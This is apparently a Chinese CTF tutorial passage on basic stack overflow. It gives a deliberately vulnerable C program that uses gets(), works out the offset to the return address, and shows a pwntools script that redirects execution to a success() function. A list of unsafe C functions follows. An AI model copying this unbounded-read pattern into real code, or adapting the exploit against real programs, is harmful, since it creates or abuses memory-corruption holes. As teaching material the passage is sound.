- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好的控制。
- 高危函数:gets()本身是一个危险函数,它从不检查输入的字符串长度,用回车判断是否结束,所以很容易导致栈溢出。
例:
- #include
- #include
- void success() { puts("You Hava already controlled it."); }
- void vulnerable() {
- char s[12];
- gets(s);
- puts(s);
- return;
- }
- int main(int argc, char **argv) {
- vulnerable();
- return 0;
- }
栈结构
s距离ebp的长度为0x14
b'a'*0x14 + b'aaaa'+sucess_addr
此时的栈结构为
注意:一般情况下采用的是小端存储,即0x0804843b内存形式为:
\x3b\x84\x80\x08
- ##coding=utf8
- from pwn import *
- ## 构造与程序交互的对象
- sh = process('./stack_example')
- success_addr = 0x0804843b
- ## 构造payload
- payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
- print p32(success_addr)
- ## 向程序发送字符串
- sh.sendline(payload)
- ## 将代码交互转换为手工交互
- sh.interactive()
覆盖要求
- 覆盖函数返回地址,这时候看ebp即可
- 覆盖栈上某个变量的内容,这时候就需要更加精细的计算
- 覆盖bss段某个变量的内容
- 根据实际执行情况,覆盖特定的变量或地址的内容
危险函数
- 输入
- gets,直接读取一行,忽略‘\x00’
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到'\x00'停止
- strcat,字符串拼接,遇到'\x00'停止
- bcopy